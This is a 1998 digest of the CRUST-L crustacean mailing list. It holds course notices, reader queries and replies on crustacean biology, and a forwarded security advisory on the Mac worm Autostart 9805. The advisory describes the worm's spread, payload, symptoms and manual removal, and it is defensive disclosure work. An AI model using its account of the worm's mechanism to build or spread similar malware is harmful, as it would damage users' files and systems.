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 eQAAAAAAAADcp0DIwEIQGrS5CAArL+GCAQAAAAYAAAAvTz1BS0laQ0kgTkVULCBVTklWRVJTSVRZ IE9GIENPUEVOSEFHRU4vT1U9QUtJWkNJL0NOPVJFQ0lQSUVOVFMvQ049TVMtTUFJTC9DTj1KVEhP RUdBQTU5QUFGQgAAAAAeAPg/AQAAABQAAABIb2VnLCBKZW5zIFQgIHtDQUx9AB4AOEABAAAADwAA AEpUSE9FR0FBNTlBQUZCAAACAfs/AQAAAHkAAAAAAAAA3KdAyMBCEBq0uQgAKy/hggEAAAAGAAAA L089QUtJWkNJIE5FVCwgVU5JVkVSU0lUWSBPRiBDT1BFTkhBR0VOL09VPUFLSVpDSS9DTj1SRUNJ UElFTlRTL0NOPU1TLU1BSUwvQ049SlRIT0VHQUE1OUFBRkIAAAAAHgD6PwEAAAAUAAAASG9lZywg SmVucyBUICB7Q0FMfQAeADlAAQAAAA8AAABKVEhPRUdBQTU5QUFGQgAAQAAHMCDU5qm2eL0BQAAI MBBVejDDeL0BHgA9AAEAAAAFAAAAUkU6IAAAAAAeAB0OAQAAABsAAABDUlVTVC1MOiBtb3VsdC1m cmVlIGdyb3d0aAAACwApAAAAAAALACMAAAAAAAMABhCWmlHJAwAHEBIJAAADABAQAAAAAAMAERAA AAAAHgAIEAEAAABlAAAAREVBUlBFTk5ZSUhBVkVTVFVESUVEUkhJWk9DRVBIQUxBTkNJUlJJUEVE SUFFWFRFTlNJVkVMWUlUSVNXRUxMVU5ERVJTVE9PRFRIQVRUSEVZSU5DUkVBU0VUSEVTSVpFT0ZU SAAAAABQNw== - ------ =_NextPart_000_01BD78C3.307A5510-- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 6 May 1998 13:55:42 -0400 (EDT) Subject: CRUST-L: course at bigelow Please respond to Hilary Smith and not to me. Thanks, Jeff - ---------- Forwarded message ---------- Date: Tue, 5 May 1998 16:05:04 From: Hilary Smith Subject: course offerings Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Methods in Underwater Ecology 3-7 Aug. (Arrive/equip. check: Sun. Aug 2) Dr. Richard Wahle Bigelow Laboratory for Ocean Sciences >From kelp beds to urchin barrens, the diverse subtidal habitats of the central Maine coast is the backdrop for a concentrated experience in underwater ecological research methods at Bigelow Laboratory. This course is geared toward upper level undergraduates and beginning graduate students desiring an overview of time-tested as well as cutting-edge methods of population, community, and behavioral ecology. We will discuss methods used in underwater observation, habitat description, and hypothesis testing. Morning briefings and evening discussions will give case studies to illustrate and critique current methods. For example, we will deal with how to customize quadrat and transect survey techniques to the demographic question at hand; the statistical principals behind minimum sample size determination; measurement of habitat patchiness and structural complexity; photographic analysis of attached biota; and in situ video analysis of fish or lobster behavior. Divers will work in teams to apply these methods while contributing to an ecological data base of sites in surrounding waters. Class size: 8 students for 4 dive teams. Prerequisites: Undergraduate courses biology and ecology or permission of instructor Certifications: Nationally recognized diver certification, CPR, First Aid Diver health/injury insurance - DAN membership - covers hyperbaric injury. ************************************************************************** Satellite Imagery as a Resource for Learning A course for teachers and students 10-21 August Cynthia Erickson Bigelow Laboratory for Ocean Sciences This two-week course provides an introduction to satellite imagery and image analysis techniques. Participants will explore satellite images and the software needed to interpret them. This course covers the nature of a digital image, electromagnetic radiation, spectral bands, reflectance patterns of land/ocean features and specific training for using the software provided. Through hands-on applications, students will learn to interpret multispectral signatures and cluster and classify an image. Accessory technologies such as GIS and GPS will be introduced. Emphasis is on the use of satellite imagery as a resource for learning. Enrollment limited to 20 students. ************************************************************************** Flow and Imaging Cytometry for the Aquatic Sciences 21 September - 2 October Dr. Michael Sieracki Bigelow Laboratory for Ocean Sciences Dr. Gunter Valet Max-Plank Institute for Biochemistry This course will cover the application of flow and imaging cytometry techniques for the study of marine microorganisms - including prokaryotes, protozoa, and phytoplankton. Basics of flow cytometry and image analysis will be covered, but emphasis will be on advanced topics such as imaging-in-flow and the use of functional fluorescent probes for measuring cytochemical processes and the intracellular physical-chemical state of living cells. Participants are encouraged to develop small projects that can make use of the resources of the Center for Culture of Marine Phytoplankton and the flow and imaging cytometry instruments here at Bigelow. ************************************************************************** Marine Microbial Ecology 5-16 October Dr. Bess Ward (1997 Hutchinson Medal Winner) Univ. California Santa Cruz Focus of this course will be on bacterial transformations in biogeochemical cycles; including conventional as well as molecular techniques to study environmental microbiology. Course includes field work (day cruise) and analysis of field samples (detection and characterization of bacteria using DNA-based methods, as well as measurement of in situ activities). Lectures will focus on the current literature and topics of current controversy. William M. Balch | Tel. 207-633-9600 Bigelow Laboratory for Ocean Sciences | Fax. 207-633-9641 P.O.B. 475; 180 McKown Point Rd | Internet bbalch@bigelow.org W. Boothbay Harbor, ME 04575 | Bigelow Laboratory for Ocean Sciences 180 McKown Point Rd., P.O. Box 475 West Boothbay Harbor, ME 04575 U.S.A. tel: 207-633-9600 fax: 207-633-9641 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 6 May 1998 14:03:20 -0400 (EDT) Subject: CRUST-L: Mac Worm (fwd) Crustaceologists, If you're a Mac user, you may want to check this out. Cheers, Jeff - ---------- Forwarded message ---------- Just got this from the mac.announce newsgroup. I'll leave it to you to decide if it should be posted to the mailing lists. Phil [ the following article was posted by Gene Spafford to inform the Macintosh community about a new "critter", a worm that was given the name "Autostart 9805" by the anti-viral software community. ---Werner (CSMA moderator) ] - -----BEGIN PGP SIGNED MESSAGE----- The Macintosh world has been largely free of new Mac-specific viruses and their kin over the past few years. The last real virus to emerge was in April of 1994, when the INIT-29-B virus appeared. In 1995, we saw the Hypercard HC-9507 virus appear, and the first Microsoft Word macro virus. Thereafter, except for residual infections of old viruses, the only worrisome Macintosh-specific malware for almost 3 years have been macro viruses of Microsoft software. (Contrast this with as many as ten thousand new viruses for that other PC platform in the same time period.) Our respite has ended for the time-being. New Macintosh Worm Discovered (Autostart 9805) 4 May 1998 Virus: Autostart 9805 Damage: Adds invisible files to every disk partition and periodically causes extensive disk activity (and network activity if network disks are mounted). Will overwrite some data files with random data. Spread: PowerPC systems running the MacOS or later and with mounted HFS or HFS+ volumes. Initial infection usually requires QuickTime 2.0 or above installed. ==== Autostart-9805 is technically a worm program. It does not change any existing program or file to spread itself. Instead, it copies itself to other disk partitions so that it becomes active on other systems. The first reported appearances of this software were in Hong Kong, and it has spread very rapidly among the desktop publishing (DTP) community there. The worm can be transmitted via almost any HFS or HFS+ disk volume, including floppy disks, most removable cartridges drives, MO disks, CD-WORM disks, hard disks and even disk images. The code requires a PowerPC-based system running MacOS -- a 68K-based system will fail to run the code. The worm will also spread across networks to any mounted network file partition. Infected disks contain an invisible application file named "DB" (type 'APPL', creator '????', with the "invisible" attribute set) in the root directory, with autostart set. When the infected disk is mounted on a PowerPC MacOS system running QuickTime 2.0 or later, the "DB" application is launched automatically if the AutoStart feature is enabled in QuickTime. It then copies itself to the Extensions folder of the active System. It changes the name of the copy to "Desktop Print Spooler" and the type to 'appe' (do NOT confuse this file with the visible and legitimate "Desktop Printer Spooler" extension); the worm file is also invisible, and when running is not shown in the applications menu. It then restarts the computer system. The worm, in the form of the invisible application in the extension folder, is automatically launched whenever the computer system starts up. About every thirty minutes, it examines the mounted volumes. If any are not already infected, it attempts to infect them by copying itself to the root directory (renamed back to "DB" and type 'APPL') and setting up the AutoStart field in the boot block. Most writable volumes are successfully infected. The notable exception is server volumes, which do not have the necessary boot block fields for AutoStart. The worm file is copied to writable server volumes, but it does not get launched when the volume is mounted. Note that once the extension version of the worm is in place, turning off QuickTime makes no difference -- the virus will continue to load and spread as a result of being activated at system boot time. Damage After checking the mounted volumes for infection, the worm begins searching for certain files on each disk. Files ending with "data", "cod", and "csa" (case insensitive) are targeted if the data fork is larger than 100 bytes. Files ending with "dat" are targeted if they are larger than about 2 Mbytes (resource + data forks). When a targeted file is found, it is damaged by overwriting the data fork (up to approximately the first 1 Mbyte) with garbage. The first byte is always set to zero, and this serves as a flag to bypass the file on subsequent passes. Symptoms The worm has numerous symptoms that make it reasonably easy to identify: 1) The system unexpectedly restarts after mounting a diskette or other volume. This will only happen when the initial infection occurs. 2) The "DB" application name flashes briefly in the menu bar when a disk is mounted. 3) The presence of an invisible application file named "DB" on the root of disk volumes, or the invisible "Desktop Print Spooler" file in the extensions folder. Any file or disk utility program (such as ResEdit) that shows invisible files in its file selection dialogs can be used to check for the files. Be sure not to confuse the legitimate "Desktop Printer Spooler" file with the worm. 4) A process named "Desktop Print Spooler" is found (use Process Watcher or Macsbug). 5) Extensive, unexplained disk activity every 30 minutes. Prevention The risk of infection can be effectively eliminated by manually disabling the AutoStart option in the QuickTime Settings Control Panel. This will not help if the system is already infected. It will also not prevent an infected Mac from creating the invisible "DB" files on any partitions you share with them on a network. Versions of QuickTime prior to 2.5 do not seem to have a way to disable autoplay. You should disable QuickTime or upgrade to a recent version if you have an old release. Note: recent versions of QuickTime also have an "Enable Audio CD AutoPlay" option. This option can be left on. Note that disabling the autostart feature does not have any affect on the normal operation of QuickTime, and can be safely turned off. Removal & Recovery Most of the major anti-virus developers have prepared updates to their software. The remaining vendors will undoubtedly have updates soon. Users are *strongly* encouraged to run current, up-to-date anti-virus software, and to regularly incorporate vendor-supplied updates. In the absence of such software, you can remove the virus using the following steps. However, you will need to restore damaged data files from backups (you *do* make regular backups, don't you?). 1) Reboot your system with extensions off. (Reboot while pressing the shift key.) 2) Start the Apple "Find File" utility. Use it to search all volumes for files whose name is exactly "DB" and which are invisible. (To select for visibility, hold down the option key when clicking on the "Name" pop-up menu; use "more choices" to select both search criteria.) Drag found files from the Find window to the trash. 3) Search again, for the "Desktop Print Spooler" file. Delete it also. (Be sure to NOT delete the legitimate "Desktop Printer Spooler"!!). 4) Empty the trash. 5) Open the "QuickTime Settings" control panel and disable autostart unless there is some significant reason you need it. 6) Restart. Commercial Updates Tool: Disinfectant Status: Freeware (courtesy of John Norstad and Northwestern Univ.) Revision to be released: undecided When available: undecided -- to be determined Where to find: usual archives. Online at Comments: Disinfectant does not scan for macro viruses, so it is wise to obtain and use a commercial anti-virus tool. An update may not be produced -- an announcement one way or the other will be made soon. Tool: Dr. Solomon's Anti-virus Toolkit Status: Commercial When available: unknown Where to find: via the AVTK WWW page: Tool: Network Associates VirusScan for the Mac Status: Commercial When available: unknown Tool: SAM (Symmantic Anti-virus for the Mac) Status: Commercial When available: soon Where to find: via Comments: Symantec is working on a solution and will be providing one as soon as possible. Tool: Virex Status: Commerical Version: 05_02_98 and later When available: immediately Where to find: via Comments: All Virex Protection Service subscribers will automatically receive updates. Other info One comprehensive and useful WWW page of anti-virus information can be found at . A list of WWW-based anti-virus resources may be found at . ==== If you discover what you believe to be a virus on your Macintosh system, please report it to the vendor/author of your anti-virus software package for analysis. Such reports make early, informed warnings like this one possible for the rest of the Mac community. If you are otherwise unsure of who to contact, you may send e-mail to as an initial point of contact. Also, be aware that writing and releasing computer viruses or worms is more than a rude and damaging act of vandalism -- it is also a violation of many state and Federal laws in the US, and illegal in several other countries. If you have information concerning the author of this or any other damaging software, please contact your anti-virus software vendor or your national law enforcement agency. Several Mac virus authors have been apprehended thanks to the efforts of the Mac user community, and some have received criminal convictions for their actions. This is yet one more way to help protect your computers. - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Key @ ftp://ftp.cs.purdue.edu/pub/spaf/pers/pgpkey.asc iQCVAwUBNU5RpcpvK4P8DALVAQHzdQP/cFaqwNzxmb0xUmCr4N5l7dl+pRAxCFFT AEyrQ8qbnjNxIRGgTXDWK1cdziKlO22gCRTcoFmIiNuBeQYKCe4nq4Ygx7b6ijTI 3kje9VKyujfyTohEF1psRK5u/7Ct2goesilG920m0rRQZ86wzQGhLLWiyZ/lugSC oeHywIEmgj0= =qrT2 - -----END PGP SIGNATURE----- - -- -----< "Free Advice and Opinions -- Refunds Available" >----- Outlaw junk email * Support CAUCE http://www.cauce.org/ }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ Philip Oshel PO Box 5037 Station A Champaign, IL 61825-5037 (217) 355-1143 oshel@shout.net or poshel@hotmail.com ***** looking for a job ***** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 6 May 1998 14:09:58 -0400 (EDT) Subject: CRUST-L: Lussier ] (fwd) Please respond to Bill Lussier, and not to me. THanks, Jeff - ---------- Forwarded message ---------- Date: Wed, 6 May 1998 00:20:39 -0400 From: Bill Lussier Subject: crustacean biology text Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" I'm looking for a text on crustacean biology that is suitable for 2nd year university level students. This text should focus on freshwater and marine crustaceans in general instead of on particular species or genera. Crustacean Farming by Lee and Wickins looks the most promising but I have not been able to get my hands on a copy yet. Thanks, Bill Lussier =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 6 May 1998 14:12:29 -0400 (EDT) Subject: Re: CRUST-L: moult-free growth Penny, The parasitic entoniscid isopods do not appear to molt. The females grow internally in the hemocoels of their hosts. I suspect that what-you'd-call the cuticle simply stretches. I haven't done any histology on the group to very the presence of chitin in the "cuticle." Otherwise, Jens' example of the rhizocephalan rootlets are good examples of growth without molting. Cheers, Jeff > Kia ora > I have heard of parasitic crustaceans with soft, unscleratinised cuticles, > which no longer moult but continue to grow in size. What is the current > understanding of this? Are these crustacea growing (addition of new > cellular material), or does their cuticle simply stretch? > thanks in advance > Penny > > ************************************************************************** > PENNY PALMER > Department of Marine Science, University of Otago > > P.O. Box 56, Dunedin, New Zealand > > ph. 64 (3) 479 8306 fax. 64 (3) 479 8336 > email: penny.palmer@stonebow.otago.ac.nz > ************************************************************************** > > > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU for additional commands. > Archives available at http://www.vims.edu/~jeff/archive.htm > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\ 0 | | 0 // Gloucester Point, VA 23062, USA \\__\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \^ ^^ ^/ http://www.vims.edu/~jeff/ <====\^ ( ) ^/====> <====\^ ^/====> <====\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 6 May 1998 14:13:58 -0400 (EDT) Subject: CRUST-L: barnacles Please respond to AC Perkins, and not to me. Thanks, Jeff - ---------- Forwarded message ---------- From: "A.C. Perkins" To: CRUST-L@vims.edu Date: Wed, 6 May 1998 17:56:46 +0100 (BST) Subject: BARNACLES Priority: normal X-mailer: Pegasus Mail for Windows (v2.40) Message-ID: Dear All, I'm trying to obtain specimens of the genus Ibla, can anybody help?? If you are working on this genus I should be grateful to hear from you. Thanks. Alan. Alan Perkins, Department of Geology, Leicester University, University Road, Leicester, LE1 7RH, England. Telephone 0116 2525060. Fax 0116 2523918. e mail ACP9@Leicester.ac.uk =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Chip Biernbaum Date: Wed, 06 May 1998 15:58:05 -0400 (EDT) Subject: CRUST-L: Lussier ] (fwd) Bill, One that immediately comes to mind is volume 3 of Kaestner's "Invertebrate Zoology," which deals exclusively with Crustacea. I don't know whether it is still in print, but it was/is published by Robt. E. Krieger Publishing Company in Huntington, NY, in 1980. I suspect that it is probably what you are looking for, although you'll need to update the information for your students (Kaestner's cut-off for information for the book was 1966). Another excellent possibility is Fred Schram's "Crustacea" (1986), published by Oxford University Press (with an office in NY). This is more up-to-date and detailed than Kaestner's, but it depends on what you are looking for. Reviews of Schram's book can be found in J. Crust. Biol. 7(1):200-201, J. Crust. Biol. 7(4):781-782, and American Scientist 75:295-296. Don't be surprised to be frustrated in your search -- I was when I looked for a text for my crustacean course many years ago. Chip >Return-path: >Date: Wed, 06 May 1998 14:09:58 -0400 (EDT) >From: Jeffrey Shields >Subject: CRUST-L: Lussier ] (fwd) >Sender: owner-crust-l@vims.edu >To: crust-l@VIMS.EDU >Reply-to: Jeffrey Shields > >Please respond to Bill Lussier, and not to me. >THanks, >Jeff > >---------- Forwarded message ---------- >Date: Wed, 6 May 1998 00:20:39 -0400 >From: Bill Lussier >Subject: crustacean biology text >Mime-Version: 1.0 >Content-Type: text/plain; charset="us-ascii" > >I'm looking for a text on crustacean biology that is suitable for 2nd year >university level students. This text should focus on freshwater and marine >crustaceans in general instead of on particular species or genera. >Crustacean Farming by Lee and Wickins looks the most promising but I have >not been able to get my hands on a copy yet. > >Thanks, > >Bill Lussier > > >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU for additional commands. >Archives available at http://www.vims.edu/~jeff/archive.htm >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > Charles K. (Chip) Biernbaum Grice Marine Biological Laboratory College of Charleston 205 Ft. Johnson Charleston, SC 29412 843-406-4010 (FAX: 843-406-4001) e-mail: biernbaumc@cofc.edu PLEASE NOTE THE NEW AREA CODE =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: oshel@shout.net (Philip Oshel) Date: Wed, 6 May 1998 16:31:44 -0500 Subject: CRUST-L: toxic crusties responses Folks, Below are the responses I received to my question about toxic crustaceans, with authors. There weren't that many replies, so I left them intact. It's still somewhat lengthy, though. The upshot seems to be, yes there are toxic crusties, and maybe there are some venomous ones, but we really don't know much about this. The apparent lack of many toxic/venomous crustaceans is very interesting, especially given the ubiquity of defensive toxins and offensive/defensive venoms in arthropods and inverts generally (and even those abberant things, "vertebrates"). This suggests first off that we are just missing the poisonous crusties. It also leads to the speculation that crusties with heavy raptorial appendages (crabs, lobsters, stomatopods) don't need venom, analogous to uropygids, amblypygids, and solpugids among arachnids. But they could still use defensive toxins-ask any octopus. But even if that is true, what about all the rest of the crusties? Why aren't any of them venomous? Or toxic, either synthesized or sequestered in their diet, from toxic organisms? Why don't filter-feeders in particular have defensive toxins? I wouldn't include in this question crusties that become toxic from their diet, but keep the toxin in the hepatopancreas. This would be accidental accumulation, and then keeping the toxin away from the rest of the crab's (e.g.) tissues. A defensive toxin that doesn't work until the owner is dead isn't much use-especially not without warning coloration or behaviors. There seems to be a serious issue here in need of work. And given the grant monies available for research into materia medica-and so toxic and venomous critters-from governments and pharmaceutical companies, maybe people ought to take an interest in this question? Phil DANIEL ABED-NAVANDI : Regarding toxic (or not ?) caprellids I can offer anecdotal support: While sorting dreged material I was stung by an animal which turned out to be a small caprellid. The pain I felt in my finger was similar to that of a bee-sting and lasted for a few hours. Regards Daniel _______________________________________ Daniel Abed-Navandi Department for Marine Biology Institute for Zoology University of Vienna Niel L. Bruce : A nice "review" of toxic crustaceans is: Llewellyn, L & Davie, P., 1987. Crabs and other crustaceans. Pp 127-135. In: 'Toxic Plants and Animals. A Guide for Australia.' Eds. Covacevihc, J, Davie, P. & Pearn, J, Queensland Museum: Brisbane. Pp 504. The ISBN 0 7242 2381 9 Niel L. Bruce 138 Carmody Road, St Lucia, Qld 4067, Australia. Phone: (07) 3217 8054; e-mail: Edwin Cruz-Rivera ecruzriv@email.unc.edu: An interesting question... Looking at some of the unpublished examples of chemically defended crustaceans that have been mentioned here makes you wonder if the lack of reports is because we have not looked hard enough. My recollection is that only pea crabs have been claimed to produce chemical defenses of any sort (this is in JEMBE, but I can't remember the year nor the authors). A particular mucus film on the carapace of the crab was argued to serve as defense, and it was only found on one of the larval stages. However, this paper lacked the critical tests that would conclusively demonstrate the presence of a chemical defense. For those larger crabs that have been claimed toxic, the accumulation of dinoflagellate metabolites is often responsible for the reports, most of which deal with medical cases (I did not know about Birgus latro, though). Whether this has an antipredatory effect in nature it is unknown. It certainly would mean death to the crab, since the toxins accumulate inside the body. Unless there is kin selection, this would not be much of an effective strategy. However, if there is sublethal predation, this may work. It is not unusual for a crab to lose a leg or two, and if the predators learn to avoid the animal there may be a net benefit. A similar argument has been made by Rikk Kvitek and coworkers about butter clams which accumulate dinoflagellate toxins, and which suffer from siphon nipping by natural enemies (Kvitekk and Beitler. 1988. J. Mar. Res. 4:629-636; Kvitekk. 1991. Mar. Biol. 111:369-374). I don't know of similar studies conducted on crustaceans. As far as "behavioral sequestration", a term often used to describe cases like Philip Oshel and Alistair Poore mention, in which defense is by association, there are a few reports. As Alistair pointed out, the amphipod Pseudoampithoides incurvaria makes a domicile from a chemically defended alga (Dictyota bartrayesii)and gets protection from fish. Interestingly, Barnard and Karaman (1991) mention that both Pseudoampithoides species described show the same behavior, but the chemistry of the interaction has only been studied in the case of P. incurvaria (Hay et al. 1990). McClintock's pteropod abduction by a hyperiid amphipod is similar. However, only a percentage of the amphipods in that 